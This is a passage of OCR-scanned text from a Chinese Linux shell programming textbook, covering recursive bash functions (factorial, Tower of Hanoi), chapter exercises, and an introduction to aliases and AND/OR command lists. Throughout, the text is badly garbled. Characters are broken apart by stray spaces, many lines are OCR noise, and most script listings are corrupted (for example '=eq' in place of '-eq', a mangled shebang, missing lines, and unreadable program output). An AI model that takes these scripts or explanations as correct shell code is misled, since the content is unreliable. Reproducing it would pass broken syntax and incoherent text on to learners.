Execuce Ene uneceron useolorcanver tun 































































































mm nom eo ul rn 
LTocallvariable 

在 函数 体外 调用 全 局 变量 

eue omruneeronsenlocalvarc i 
global variable 

root@localhost chapterl3]# 


画 数 递归 人 


Linux Shell 中 可 以 递归 调用 函数 , 即 函 数 可 以 直接 或 间接 地 调用 其 自身 。 在 递归 调用 中 ， 
主 调 函 数 又 是 被 调 函数 。 执 行 递 归 函 数 将 反复 调用 其 自身 ， 每 调用 一 次 就 进入 新 的 一 层 。 下 
面 例 13-12 的 脚本 function12.sh 0 个 递归 函数 ， 脚 本 内 容 如 下 : 


# 例 13-12: function12. sh 演示 了 一 个 函数 递归 调用 
#!1/bin/bash 





































































































# 递 归 调 用 函数 
1 人 
read y 
foo $y 
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echo ™ SSN 
} 


# 调 用 函数 
foo 
exit 0 


这 个 函数 是 一 个 递归 函数 , 但 是 运行 该 函数 将 无 休止 地 调用 其 自身 , 这 当然 是 不 正确 的 。 
防止 递归 调用 无 终止 地 进行 ， 必 须 在 函数 内 有 终止 递归 的 条 件 ， 笛 用 的 办 法 是 加 条 件 判 
满足 茶 种 条 件 后 就 不 再 进行 递归 调用 ， 然 后 逐 层 返回 。 下 面 将 详细 介绍 使 用 局 部 变量 的 
和 不 使 用 局 部 变量 的 递归 。 













































































































































































13.6.1 使 用 局 部 变量 的 递归 


























使 用 局 部 变量 进行 递归 一 般 是 针对 数值 运算 来 使 用 的 。 下 面 的 例 13-13 是 一 个 使 用 局 部 


























变量 进行 递归 调用 的 例子 一 一 阶乘 运算 ， 7 nl! 的 运算 ， 这 可 以 通过 下 面 的 公式 来 表示 : 








n!=1 (n=0) 
ml=n* (n=Ly! (n>=1) 


按照 该 公式 可 实现 对 阶乘 的 运算 ， 由 于 该 阶乘 运算 中 存在 终止 条 件 “0!=1”， 所 以 ， 可 






































以 使 用 函数 递归 来 实现 该 运算 ， 新 建 脚本 function13.sh， 脚 本 内 容 如 下 : 























# 例 13-13: function13.sh 演示 了 一 个 使 用 局 部 变量 的 函数 递归 调用 的 例子 
#1V/bin/bash 


# 使 用 递归 函数 实现 阶乘 运算 
ee 
{ 


local num=$1 


if ["$num” =eq 0 ] 
then 

factorial=1 
else 

let "decnum=num-1™ 


# 冰 数 递归 调用 


fact $decnum 


Leto ea ter Dn 
E34 
下 


} 


# 脚 本 调用 递归 函数 
ee 和 
Seno aac tornor dns oa 


exit 0 


在 脚本 function13.sh 中 ， 递 归 函 数 fact 通过 if/else 判断 条 件 实现 递归 ， 其 中 证 和 else 之 






































间 的 语句 用 于 判断 是 否 达 到 递归 终止 条 件 ， 而 else 与 在 之 间 的 语句 则 实现 使 用 局 部 变量 的 递 


归 。 


























在 脚本 function13.sh 的 执行 过 程 中 ， 首 先 通过 fact $1 调用 含 参 的 函数 实现 递归 ， 递 归 执 

















行 完 成 后 通过 echo 语句 返回 执行 结果 ， 脚 本 function13.sh 的 执行 结果 为 : 
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# 例 13-13 中 function13. sh 脚本 的 执行 结果 
leoocelocalhnost eaterle]It funetlonl sys 
Eacetonrnalot ese 2 

[root@localhost chapterl13]# 


为 了 观察 递归 调用 的 工作 过 程 ， 下 面 跟 踪 下 列 语句 的 执行 : 






















































































































































































num=3 

下 面 是 递归 的 执行 过 程 : 

num=3: 发 现 num 的 值 不 等 于 0， 所 以 调用 函数 fact 3。 

num=2: 发 现 num 的 值 不 等 于 0， 上 所 以 调用 函数 fact 2。 

num=1: 发 现 num 的 值 不 等 于 0， 所 以 调用 函数 fact 1。 

num=0， 这 时 num 等 于 0， 所 以 返回 调用 fact 0， 返 回 factorial 的 值 为 1。 

num=1， 返 回 factorial 的 值 为 1*1=1。 

num=2， 返 回 factorial 的 值 为 1*2=2 。 

num=3， 返 回 factorial 的 值 为 2*3=6。 

在 最 终 传递 到 0 时 , fact 函数 开始 将 先前 的 调用 逐个 分 解 , 直到 num=3 的 原始 调用 为 止 












































并 返回 最 终结 果 为 6。 


13.6.2 不 使 用 局 部 变量 的 递归 


使 用 局 部 变量 的 递归 一 般 可 通过 递 推 法 实现 ,如 上 面 的 阶乘 问题 可 通过 1 乘 以 2， 再 乘 
以 3， 直 到 乘 以 n 来 得 到 最 终结 果 ， 但 有 些 问 题 只 能 通过 递归 来 实现 ， 这 类 问题 一 般 涉 及 不 
使 用 局 部 变量 的 递归 ,最 彰 名 的 是 汉 诺 塔 问题 。 下 面 的 例 13-14 通过 Shell 脚本 实现 了 针对 该 
问题 的 编程 。 
一 块 板 上 有 三 根 针 A、B 和 C， 六 针 上 套 有 元 个 大 小 不 等 的 圆 盘 ， 大 的 在 下 、 小 的 在 上 ， 如 
图 13-2 所 示 。 要 把 这 个 圆 盘 从 A 针 移动 到 C 针 上 ， 每 次 只 能 移动 一 个 圆 盘 ， 此 过 程 可 以 借助 
B 针 进行 。 但 在 任何 时 候 ， 任 何 针 上 的 圆 盘 都 必须 保持 大 盘 在 下 、 小 盘 在 上 ， 求 移动 的 步骤 。 



















































































pd 



























































六] 




















A B C 


13-2” 汉 诺 塔 形状 





设 A 上 有 nn 个 盘子 ， 该 问题 可 分 解 为 下 面 的 问题 加 以 解决 : 
如 果 n=1， 则 将 圆 盘 从 A 直接 移动 到 C。 

如 果 n=2， 则 : 

1) 将 A 上 的 n-1 (等 于 1) 个 圆 盘 移 到 B 上 。 
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2) 将 A 上 的 一 个 圆 盘 移 到 C 上 。 
3) 将 B 上 的 n-1 (等 于 1) 个 圆 盘 移 到 
如 果 n=3， 则 : 























1) 将 A 上 的 n-1 (等 于 2， 令 其 为 nm) 个 区 





@ 将 A 上 的 n-1 (等 于 
@ 将 A 上 的 一 个 圆 盘 移 到 B。 

@ 将 C 上 的 mn-1 (等 于 1) 个 圆 盘 移 到 
2) 将 A 上 的 一 个 圆 盘 移 到 C。 
3) 将 B 
中 将 B 
@) 将 B 





























上 的 m1《〈 等 于 1) 个 圆 盘 移 到 
上 的 一 个 盘子 移 到 C。 











上 的 n-1 (等 于 2, 令 其 为 n') 个 圆 盘 移 到 C 


C 上 。 























本 





了 B。 


A。 


@ 将 A 上 的 n-1 (等 于 1) 个 圆 盘 移 到 CC。 


到 此 ， 完 成 了 三 个 圆 盘 的 移动 过 程 。 


从 上 面 的 分 析 可 以 看 出 ， 当 n 宇 2 时 ， 移 动 的 过 程 6 


T 


第 一 步 : 把 A 上 的 n-1 个 圆 盘 移 到 B 
第 二 步 : 把 A 上 的 一 个 圆 盘 移 到 C 上 。 




















第 三 步 : 把 
当 n=3 时 ， 第 一 步 和 第 三 步 又 分 解 为 类 
针 上 ， 这 里 n'=n-1 。 显然 ， 








脚本 function14.sh， 脚 本 内 容 如 下 : 





.oo 


s 同 的 三 步 ， 即 把 n'-1 个 略 



































局 部 变量 的 函数 递归 实现 汉 庶 塔 





# 例 13-14: function14.sh 通过 不 使 
#!/bin/bash 


# 初 始 化 移动 次 数 
move=0 
dohanoi () 
{ 
if [ $1 =eq 0 | 
then 
ETA 
else 
dohanoi "$(($1-1))" $2 $4 $3 
echo "move $2 ----> $3" 
let "move=movet+1™ 
dohanoi "$(($1-1))" $4 $3 $2 
a 
IE [|$# =eq 1 
then 
a es ee] 
then 
aenemen HI CEB 
Echolrrotalnoye5 Emocyen 





将 不 会 有 输出 


把 A 


Papa 





把 B 上 的 n- 














递归 函数 出 











# 至 少 要 有 一 个 圆 稻 


盘 移 到 B (借助 C) ， 
1) 个 圆 盘 移 到 C 上 。 


《借助 A) ， 








到 








输入 圆 盘 的 个 数 为 0 


这 是 一 个 递归 过 程 ， 所 以 ， 可 以 通过 Linux Shell 编程 实 





步骤 如 下 : 


步骤 如 下 : 


分 解 为 以 下 三 个 步 


B 上 的 n-1 个 圆 盘 移 到 C 上 ， 其 中 第 一 步 和 第 三 步 是 类 同 的 。 


盘 从 一 个 针 移 到 另 一 
现 ， 新 建 




















上 的 n-1 个 圆 盘 移 到 B 上 


的 一 个 圆 盘 移 到 c 上 


个 圆 盘 移 到 Cc 上 
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else 
echo “The number of disk which you input is illegal! ™ 
十 中 
下 抽 
) 
# 脚 本 调用 函数 
echo "Please input the num of disk: " 
read num 
donane Ton 








从 脚本 function14.sh 的 执行 情况 可 以 看 出 ，dohanoi 函数 是 一 个 递归 函数 , 它 有 四 个 参数 
$num、A、B 和 C。 $num 由 脚本 执行 者 指定 ,表示 圆 盘 数 ; A、B、C 分 别 表示 三 根 针 。dohanoi 
函数 的 功能 是 把 A 上 的 $num 个 圆 租 移动 到 C 上 。 当 $num ==1 时 , 直接 把 A 上 的 圆 竹 移 至 C 
上 ， 输 出 A 一 B。 如 $num!=1， 则 分 为 三 步 : 递归 调用 dohanoi 函数 ， 把 $num -1 个 圆 盘 从 A 
移 到 B; 输出 A 一 B; 递归 调用 dohanoi 函数 ， 把 $num -1 个 圆 盘 从 B 移 到 C。 在 递归 调用 过 
程 中 ，$num =$num -1， 故 nn 的 值 逐 次 递减 ， 最 后 $num =1 时 ， 终 止 递归 ， 逐 层 返 回 。 下 面 是 
脚本 function14.sh 的 执行 结果 : 

# 例 13-14 中 function14. sh 脚本 的 执行 结果 


leeooueloealos tela em me enol sl 
Please input the num of disk: 





















































































































































4 

momen > 
move A ====> B 
Move tC ====> BB 
mevesAaAs > 
move B= = 
momen ->a 
WW 三 三 = 三 站 
上 CCWweA 二 二 二 六 
RE 
IO 
MoOwve DB -= 
eh 
三 
ie 
move CG ====>°B 





[root@localhost chapterl13]# 

通过 脚本 function14.sh 的 执行 结果 可 以 看 出 ,对 于 一 组 圆 盘 ,数量 少时 ， 只 需 移动 很 少 的 次 
数 就 能 达到 要 求 ， 但 随 着 圆 盘 数量 的 增加 ， 移 动 次 数 将 成 倍 地 增加 ， 而 移动 策略 将 变 得 越 来 越 复 
杂 。 递 归 相 当 于 把 较为 复杂 的 问题 〈 如 规模 为 2) 的 求解 推导 比 原 问题 简单 一 些 的 问题 〈 规 模 小 
于 n) 的 求解 。 例 如, 上 面 分 析 的 过 程 中 , 为 求解 Hanio(n, A, B, C), 推导 计算 Hanioln - 1, A, C, B)。 


17 ee 人 


本 音 详 细 讨 论 了 函数 的 各 类 用 法 ， 结 合 实例 讲解 了 函数 的 定义 和 基础 知识 、 函 数 的 参数 
传递 和 函数 返回 值 ， 重 点 分 析 了 函数 间 的 相互 调用 以 及 函数 递归 调用 的 用 法 。 函 数 参 数 传递 
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时 要 注意 ， 运 行 时 不 要 漏 到 必要 的 参数 ， 否 则 会 出 现代 码 错误 。 函 数 间 的 相互 调用 增加 了 
Linux Shell 编程 的 灵活 性 。 虽 然 函 数 递 归 调 用 是 本 章 的 难点 ， 但 只 要 多 思 多 想 ， 就 会 明白 函 
数 递归 的 原理 。 创 建 可 用 和 可 重用 的 脚本 很 有 意义 ， 可 以 使 主 脚本 变 短 ， 结 构 更 加 清晰 ， 所 
以 ， 在 以 后 的 Linux Shell 编程 过 程 中 ， 如 果 需 要 ， 尽 量 使 用 函数 实现 代码 的 可 重用 性 。 


上 机 提议 人 


1. 使 用 函数 实现 判断 用 户 输入 的 内 容 是 否 都 是 字符 ， 如 果 存 在 其 他 的 非 字 符 形式 ， 用 
echo 语句 显示 用 户 输入 不 正确 ， 如 果 全 是 字符 ， 提 示 用 户 输入 正确 。 提示: 可 通过 awk 语 
言 或 正则 表达 式 实现 ) 

2. 使 用 函数 实现 当 用 户 输入 一 个 目录 时 , 判断 当前 的 目录 是 否 存 在 ,如果 存在 ,用 echo 
语句 提示 当前 的 目录 存在 ， 如 果 不 存 在 ， 则 提示 用 户 是 否 需 要 创建 该 目录 ， 并 通过 yes 或 no 
回答 ， 回 答 yes 则 创建 一 个 目录 ， 回 答 no 则 退出 脚本 。 

3. 使 用 函数 实现 输入 3 个 整数 ， 输 出 最 大 的 那个 数 。 

4. 给 出 一 个 不 多 于 5 位 数 的 正 整数 ,用 函数 实现 它 是 几 位 数 ， 并 按 逆 序 显示 其 对 应 的 每 
一 个 数字 ， 如 原 数 是 123， 则 逆序 结果 为 321。 

5. 写 两 个 函数 ， 分 别 求 两 个 整数 的 最 大 公约 数 和 最 小 公 倍 数 ， 用 另外 一 个 函数 调用 这 两 个 函 
数 ， 并 输出 结果 。〔 提 示 : 通过 取 余 运算 和 循环 实现 ) 

.使 用 函数 实现 如 下 图 案 的 显示 : 
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.编写 一 个 递归 的 函数 实现 将 一 个 整数 进行 逆序 显示 ， 如 34$， 则 显示 为 543。 
下 面 脚 本 的 运行 结果 是 什么 ? 


1/pin/pash 














0 
7. 用 递归 函数 实现 计算 wr， 可 以 通过 公式 x"=x* x"! 实现 。 
8 
9 
# 


addem 
{ 
TE oon 2 
then 
eeheos ml 
elif [| $# ~ed 1 ] 
then 
echo $[ $1 + ll 
else 
echo $[ $1 + $2 ] 









































| Nl 


#!/bin/bash 


En 
local temp=$[ $value + 5 ] 
result $l oeemp #2 

} 


temp=4 
value=6 


Ennead 
echo "The result is $result" 


if [ $temp =gt $value | 
then 

echo “temp is larger™" 
else 

echo "temp is smaller™ 
站 是 


本 章 介绍 别名 、 列 表 及 数组 这 三 个 相对 独立 的 内 容 ， 别 名 可 以 对 别 | 
命令 进行 重新 命名 ,bash Shell 提供 的 这 种 机 制 方便 了 用 户 记忆 长 命令 名 
和 定制 自己 熟悉 的 工作 环境 ， 本 章 将 对 建立 别名 和 删除 别名 的 基本 用 

法 ， 以 及 别名 的 一 些 特殊 属性 进行 探讨 。 列 表 是 一 组 命令 以 逻辑 与 、 、 
逻辑 或 的 关系 串 在 一 起 ， 可 以 灵活 地 实现 脚本 程序 的 逻辑 控制 ， 本 章 . 
























































将 介绍 与 列表 、 或 列表 两 种 结构 。 数 组 是 任何 一 种 编程 语言 中 的 重点 ， 
而 bash Shell 数组 的 用 法 又 十 分 灵活 ， 本 草 将 详细 讨论 数组 的 赋值 方 
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法 、 基 本 操作 、 字 符 囊 处 理 等 重要 操作 ， 还 将 介绍 如 何 利用 数 


i 1 多 站 个 析 ， 华 清 还 见 教育 
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141 本 人 


Linux 系统 命令 与 DOS 系统 命令 存在 很 大 的 差别 ， 因 而 ， 
太 适 应 Linux 系统 命令 。 而 



























































或 以 简洁 的 名 字 表 示 命 令 及 其 见长 的 选项 和 参数 ， 将 极 大 地 方便 用 户 使 用 Linux 系统 ， 

















加 用 户 的 工作 效率 。bash Shell 提供 的 别名 (alias〉 正 是 解决 上 述 不 足 的 一 种 方法 。 



































其 缩写 。 别 名 的 命令 关键 字 是 alias， 命 令 的 基本 格式 如 下 : 


alias alias-name='original-commanaQ' 











熟悉 DOS 命令 的 用 户 可 能 不 
很 多 Linux 命令 需要 带 上 宛 长 的 选项 和 参数 ， 频 繁 地 使 用 这 些 
长 命令 极 易 造 成 用 户 使 用 上 的 不 便 。 那 么 ,如果 有 一 种 机 制 可 以 对 Linux 命令 进行 重新 命名 ， 


、 增 


bash Shell 的 别名 实际 上 是 一 种 避免 输入 长 命令 的 手段 ,是 为 长 命令 起 一 个 新 的 名 字 作为 


在 上 述 格式 中 ，alias 是 指定 别名 命令 的 关键 字 ，alias-name 是 用 户 所 指定 的 别名 ， 











original-command 是 所 起 别名 所 对 应 的 命令 及 








基 参 数 ， 当 original-command 是 以 空格 分 隔 的 字 


























符 串 时 ， 就 要 将 original-command 用 引号 引起 来 。 需 要 注意 的 是 ， 等 号 两 边 是 不 能 有 空格 的 。 














下 面 举 一 个 简单 的 例子 说 明 alias 命令 的 用 法 : 
例 14-1: alias 命令 的 用 法 
reotan selabe Itaias ane ls 














将 dir 作为 1s 命令 的 别名 
roO0t@ jselad RH dir 输入 dir 就 能 列 出 当 的 所 有 文件 
anacoendosks eto monrect sn netom Lo netom Loo ye onurE 

root@ jselab ~]# alias cdglo='cd /home/globus' 

















性 
测 

















oo sola io 执行 cdglo 命令 
root@ jselab globus]# pwd 
/home/globus 当 


root@ jselab globus]# 


2 王 


前 




















录 是 globus 用 户 的 根 目录 






































cdglo 作为 切换 到 globus 用 户 根 目 录 命 令 的 别名 


上 例 中 ， 首 先 将 dir 作为 命令 的 别名 。 熟 悉 DOS 系统 的 读者 知道 ，dir 是 DOS 系统 中 
列 出 文件 的 命令 ， 与 ls 命令 功能 相同 ， 我 们 将 dir 设置 为 ls 的 别名 后 ， 执 行 dir 就 相当 于 执 
行 了 ls 命令 ， 就 能 列 出 当前 目录 下 的 所 有 文件 。 然 后 ， 上 例 将 cdglo 作为 cd /home/globus 命 
令 的 别名 ， 用 于 切换 到 globus 用 户 根 目录 命 令 的 别名 ， 执 行 cdglo 就 将 当前 工作 目录 切换 到 






































/home/globus。 注 意 : 由 于 cd /home/globus 命令 中 cd 和 /home/globus 用 空格 分 隔 ， 所 以 ， 
置 别 名 时 需要 用 单 引 号 将 cd home/globus 引起 来 。 



































DOS 系统 一 样 ， 下 面 举 一 些 等 价 命令 ， 以 供 读者 参考 : 


lias Qir=1s 





lias copy=cp 
SEE 
Lias md=mkdir 
lias rd=rmdir 





oppDp 


lias rename=myv 


设 


正如 将 di 作为 ls 命令 的 别名 一 样 ， 我 们 可 以 利用 一 系列 的 alias 命令 将 DOS 命令 作为 
相应 功能 的 Linux 命令 ， 并 写 入 .bash_profile 文件 ， 这 样 ， 系 统一 旦 启动 Linux， 就 表现 得 像 


很 多 Linux 用 户 经 常 将 一 些 命令 输 错 ， 比 如 ，grep 命令 容易 写成 gerp 命令 、mail 命令 写 
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成 mali 命令 等 ， 有 了 别名 后 ， 我 们 就 可 为 一 些 容易 输 错 的 命令 设置 别名 ， 如 alias gerp =grep 
就 是 将 gerp 设置 为 grep 的 别名 。 
使 用 alias 设置 别名 之 后 ， 如 果 要 删除 已 经 设置 的 别名 ， 可 以 使 用 unalias 命令 ，unalias 
是 一 个 内 建 命令 ， 有 如 下 两 种 格式 : 

unalias [=ajlalias-name] 

unalias 命令 后 面 可 以 跟 -a 参数 或 alias-name， 即 别名 ，unalias -a 命令 表示 删除 所 有 已 设 
置 的 别名 ， 而 unalias alias-name 表示 仅 将 别名 alias-name 删除 。 例 14-2 说 明了 unalias 命令 : 










































































例 14-2: unalias 命令 

root@jselab ~]# alias cdglo='cd /home/globus' 设置 别名 cdglo 

root@jselab ~ alias copy=cp 设置 别名 copy 

root@jselab ~ COPYy oUtput outputnew 

copy 命令 能 将 output 文件 复制 成 outputnew 文件 

root@jselab ~ ls # 确 实 出 现 outputnew 文件 ， 说 明 copy 命令 生效 
amaccnaqsasks ceananses ESESIREL OnEE3 可 可 RCREWE Co ute oe unew 
EGOECCN el unalias copy 将 别名 copy 删除 

root@JjJselab ~ Copy out ovrEnew 

-bash: copy: command not found 再 次 执行 copy 命令 时 ， 提 示 命 令 找 不 到 错误 
EooEQjselae 有 = Unaulnase a I 除 所 有 的 别名 

EooEenselalb edgqle 

-bash: cdglo: command not found 说 明 cdglo 别名 也 被 删除 

Ecotojiselag 









































上 例 中 ， 先 设置 两 个 别名 cdglo 和 copy，cdglo 仍然 是 将 当前 工作 目录 切换 到 globus 用 
户 根 目 录 ， 而 copy 是 cp 命令 的 别名 ， 然 后 执行 copy 命令 确实 能 执行 cp 命令 的 功能 。 利 用 
unalias copy 命令 将 别名 copy 删除 ， 再 次 执行 copy 命令 时 ， 提 示 错 误 “ 命 令 找 不 到 ” 这 说 
明 copy 别名 已 经 被 删除 。 最后， 利用 unalias =a 命令 删除 所 有 已 设置 的 别名 ，cdglo 别名 当然 
被 删除 ， 因 而 调用 cdglo 命令 时 提示 命令 找 不 到 错误 。 
例 14-1 和 例 14-2 都 是 在 命令 行 中 执行 alias 或 unalias 命令 的 , 下 面 我 们 举 几 个 在 脚本 中 
使 用 alias 和 unalias 命令 的 例子 新建 名 为 alias.sh 的 脚本 ， 内 容 如 下 : 


# 例 14-3: alias.sh 脚本 演示 在 脚本 中 使 用 alias 命令 
#!1/bin/bash 


























































































































shopt -s expand aliases # 设 置 此 选项 后 ， 脚 本 才 可 以 使 用 别名 功能 
Elias detail="1s =1! # 双 引号 将 命令 引起 ， 也 可 以 为 它 建 立 别 名 
detail /root/in* # 别 名 后 使 用 了 通配符 

echo 


directory=/root/ 

prefix=in* 

alias vardetail="]s -1 $directory$prefix" #3 引号 内 加 入 了 变量 
vardetail 


echo "Deleting all aliases:" 





























Vielies -a # 删 除 所 有 的 别名 

# 测 试 是 否 成 功 删 除 别名 

detail 

vardetail 

alias.sh 脚本 首先 用 shopt -s expand aliases 命令 打开 expand aliases 选项 ，expand aliases 











选项 表示 别名 可 以 被 扩展 ， 如 果 没 有 打开 expand aliases 选项 ， 那 么 即使 使 用 alias 命令 建立 
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别名 ， 也 不 可 以 执行 这 些 别名 ， 因 此 ， 若 要 在 脚本 中 使 用 别名 功能 ， 必 
这 条 shopt 命令 。 人 然后，alias.sh 脚本 设置 两 个 别名 : 
令 ，alias.sh 脚本 在 执行 detail 时 使 用 了 通配符 〈* ) 以 测试 别名 是 否 文 持 通配符 ， 
。 最 后 ，alias.sh 脚本 使 用 unalias 命令 
j 除 别名 是 和 否 成 功 。 
用 alias 命令 设置 别名 时 ， 都 是 使 用 
空格 时 是 等 价 的 。 因 此 ， 双 引号 也 可 以 用 于 设置 别名 ， 但 











在 赋值 时 引用 了 变量 ， 














alias.sh 脚本 有 
的 双 引 号 ， 双 引号 和 单 纪 

















以 测试 别名 是 
删除 所 有 的 别名 ， 并 重新 执行 detail 和 vardetail， 以 测试 册 
个 细微 的 注意 点 
号 在 处 至 





detail 和 vardetail, 

















须 在 脚本 中 首先 执行 
detail 表示 了 ls -] 命 





























E22 
后 、/ 

















是 , 设置 vardetail 别名 时 , | 




















于 里 面 引 用 了 变量 ， 























否 处 理 变量 引用 








而 vardetail 
































: alias.sh 脚本 在 利 











与 解 析 为 字面 含义 。 下 面 我 们 给 出 alias.sh 脚本 的 执行 结果 : 
# 例 14-3 alias.sh 脚本 的 执行 结果 


[root@zawu shell-program]# chmod u+x alias.sh 
























































此 时 就 只 能 使 用 双 引 号 , 因为 单 引号 会 把 9 符 





[root@zawu shell-program]# ./alias.sh 

-rwWXr--Ir--. EGoEN eon 2 /reineanrect sn 
-rw-r-=-r=-=. 1 root root 52037 11=06 20:06 /root/install.log 
=rWw-r--Ir--. nee oo e552 060 0 060N roo nin eg ye 








# 以 上 结果 表明 alias. sh 脚本 能 够 设置 别名 ， 且 别名 依然 能 使 用 通配符 





WCE root PoSt 下 0 二 及 各 
—rWw-r--r-—. 

—rWw-r--r-—. 

# 以 上 结果 表明 alias 命令 能 够 引用 变量 
Deleting alialiases: 

./alias.sh: line 14: detail: 
./alias.sh: line 15: vardetail: 


[root@zawu shell-program]# 


例 14-3 中 alias.sh 脚本 的 执行 结果 表明 alias.sh 脚本 在 打 














Se/ roo nner ee 


nooterooees 0 N0200 oon ee 
rocotoore 2 06020: 0 roo 


command not found  # 删 除 别 名 成 功 


command not found 

















够 使 用 alias 和 unlias 命令 ， 并且 能 够 执行 已 设置 的 别名 。 而且 detail /ro 











/root 
目录 
unalias 命令 后 ， 


有 的 别名 。 
























































时 能 够 引用 变量 。 最 后 








用 例 14-4 来 证 实 这 个 观点 。 新 建 名 为 loopalias.sh 的 脚本 ， 内 容 如 下 : 








# 例 14-4: 
#!/bin/bash 


全 


alias copy=cp 
count=0 


while : 

do 
ER 三 ER 站 
Letecountsceun+L 
Teeounte ge 2 
then 


loopalias.sh 脚本 演示 测试 别名 能 否 在 if/then、while 循环 内 使 用 





























在 循环 体 之 外 设置 
建立 计数 器 





在 循环 体 之 内 设置 
计数 器 增加 1 
“可 




















化 泊 Bn 



































expand_aliases 选项 之 后 ， 能 





ot/in* 命 令 也 能 够 列 出 


目录 下 所 有 以 in 开头 的 文件 ,这 表明 别名 能 够 解析 通配符 。vardetail 命令 也 同样 列 出 /root 
下 所 有 以 in 开头 的 文件 ， 这 表明 设置 别名 
再 次 执行 detail 和 vardetail 命令 时 出 现 错 误 ， 这 说 明 unalias -a 已 经 删除 了 所 


，alias.sh 脚本 执行 完 








要 注意 的 是 : alias 命令 不 能 在 诸如 if/then 结构 、 循 环 和 函数 等 混合 型 结构 中 使 用 ， 我 们 


启 expand aliases 选项 


别名 copy 


while 循环 ， 冒 号 表示 永 真 


别名 lore sll 











F 2， 则 进入 i£f/then 结构 
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Scene vsarey anes me nens taeture, 








oe one # 在 if/then 结构 内 执行 别名 ijpconfig 
ES # 跳 出 while 循环 

和 二 

sehnom Vernege a mewnnlelooe See 

copy output outputnew # 在 while 循环 内 执行 别名 copy 

done 








loopalias.sh 脚本 开启 expand_aliases 选项 以 文 持 别名 ， 在 循环 体外 设置 别名 copy， 并 建 
立 计数 器 count， 然 后 进入 while 循环 ,在 循环 体内 设置 别名 ipconfig， 并 使 计数 器 count 增加 
1; 当 计 数 器 count 大 于 等 于 2 时 ， 进 入 if/then 结构 ， 在 if/then 结构 内 执行 别名 ipconfig， 然 
后 跳出 永 真 的 while 循环 ， 当 计数 器 小 于 2 时 ， 在 while 循环 内 执行 别名 copy。 下 面 给 出 
loopalias.sh 脚本 的 执行 结果 : 
例 14-4 loopalias.sh 脚本 的 执行 结果 
root@jselab shell-book]# chmod u+x loopalias.sh 


root@jselab shell-book]# ./loopalias.sh 
Usmmo aulnas nwhilen lo SEU ue 


第 1 次 循环 count<1， 执 行 别名 copy，She1ll 未 报错 说 明 copy 执行 成 功 





















































Toeias ne /nenns eevee 


人 





S 

yaoeoeanasssn ne nei omanad naa 

第 2 次 循环 在 if/then 结构 内 执行 jpconfig，Shell 报错 ， 找 不 到 ipconfig 命令 

roote sela snen Sooxitn sa #1loggg1 已 存在 , 说 明 copy 命令 已 经 执行 成 功 


loggg logggl 
root@jselab shell-book]# 


从 例 14-4 中 loopalias.sh 脚本 的 执行 结果 可 以 看 出 ， 第 1 次 循环 count<1， 在 while 循环 
体内 执行 别名 copy，Shell 未 报错 ， 说 明 copy 执行 成 功 ， 由 于 别名 copy 是 在 while 循环 外 设 
置 的 ,这 说 明 在 while 循环 体内 能 够 引用 别名 。 第 2 次 循环 在 if/then 结构 内 执行 ipconfig, Shell 
报错 ， 找 不 到 ipconfig 命令 ， 这 证 实 了 在 混合 型 结构 中 不 能 使 用 alias 命令 。 

由 此 我 们 总 结 出 , 如 if/then 结构 、 循 环 和 气 数 等 混合 型 结构 不 能 使 用 alias 命令 设置 别名 ， 
但 是 可 以 执行 在 混合 型 结构 之 外 所 设置 的 别名 。 


142 是 人 


列表 由 一 串 命 令 用 与 运算 〈&& ) 和 或 运算 (|) 连接 而 成 ， 用 与 运算 连接 的 列表 称 为 与 
列表 (and list)， 用 或 运算 连接 的 列表 称 为 或 列表 (or list)。 

与 列表 的 基本 格式 为 : 

命令 1 && 命令 2 && 命令 3 && … && 命令 n 
上 述 格式 的 与 列表 从 左 至 右 依 次 执行 命令 ,直到 某 命令 返回 FALSE 时 , 与 列表 执行 终止。 
或 列表 的 基本 格式 和 与 列表 类 似 ， 仅 将 区 & 符 号 改 为 | 符号 ， 为 : 


| 人 | 人 伟人 | || 他 仿 囊 


或 列表 依然 是 从 左 至 右 依次 执行 命令 ， 但 是 ， 它 是 当 某 命令 返回 TRUE 时 ， 或 列表 执行 
终止 。 以 上 所 提 及 的 TRUE 和 FALSE 是 由 返回 的 退出 状态 来 决定 的 ， 若 退出 状态 为 0， 则 为 
TRUE， 否 则 为 FALSE。 

下 面 首先 用 例 14-5 和 例 14-6 来 说 明 与 列表 ， 新 建 名 为 andlistl.sh 的 脚本 ， 内 容 如 下 : 
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# 例 14-5: andlist1.sh 脚本 演示 与 列表 的 基本 用 法 
HU ome 


#if 条 件 是 一 个 与 列表 
if [ =n “$1 ] &é& echo "The lst argument=$1" && [ =n "$2 ] && echo "The 2nd argument=$2™" 
then 
# 只 有 与 列表 命令 都 执行 完 ， 才 执行 下 面 的 命令 
echo "At least TWO arguments are passed to this script." 
else 
seneog Less othanyimo areuments orcpassed Eons se 
由 
exit 0 


andlistl.sh 脚本 用 一 个 也 then 结构 判断 该 脚本 是 否 带 了 两 个 以 上 的 参数 ， 寺 条 件 用 一 个 








与 列表 表示 , 若 $1 非 空 , 才 执 行 echo "The 1st argument=$1" 命 令 , 否则 与 列表 立即 结束 ， 当 $1 
非 空 时 ， 判 断 $2 是 否 为 空 ， 若非 空 ， 才 执行 echo "The 2nd argument=$2" 命 令 ， 此 时 ， 与 列表 
命令 全 部 执行 完毕 ， 返 回 TRUE 值 ，if/then 结构 才 执行 then 语句 段 的 命令 。 下 面 分 别 给 出 
andlist1.sh 脚本 带 1 个 参数 和 2 个 参数 时 的 执行 结果 : 


















































网 14-5: andlist1.sh 脚本 的 执行 结果 
root@zawu shell-program]# chmod u+x andlistl.sh 

root@zawu shell-program]# ./andlistl.sh CAI # 带 1 个 输入 参数 
The lst argument=CAI 
Less than TWO arguments are passed to this script. 

root@zawu shell-program]# ./andlistl.sh CAI WU # 带 2 个 输入 参数 
The lst argument=CAI 





The 2nd argument=WU 
At least TWO arguments are passed to this script. 
root@zawu shell-program]# 


由 上 面 andlistl.sh 脚本 的 执行 结果 可 以 看 出 ， 当 andlist1.sh 带 有 1 个 输入 参数 时 ， 输 出 


























else 语句 段 的 内 容 ， 当 andlistl.sh 带 有 2 个 输入 参数 时 ， 输 出 then 语句 段 的 内 容 。 我 们 将 
andlist1.sh 脚本 稍 作 变 化 ， 判 断 脚 本 的 输入 参数 的 个 数 是 否 等 于 某 变 量 ， 变 化 后 的 脚本 名 为 
andlist2.sh， 内 容 如 下 : 





























# 例 14-6: andlist2.sh 脚本 演示 与 列表 的 基本 用 法 
#!/bin/bash 





MAXARGS=3 # 输 入 参数 的 个 数 
ERROR=68 # 输 入 参数 不 等 于 MAXARGS 时 的 返回 状态 码 











test $# -ne $MAXARGS && echo "Usage: ‘basename $0. $MAXARGS arguments" && exit $ERROR 
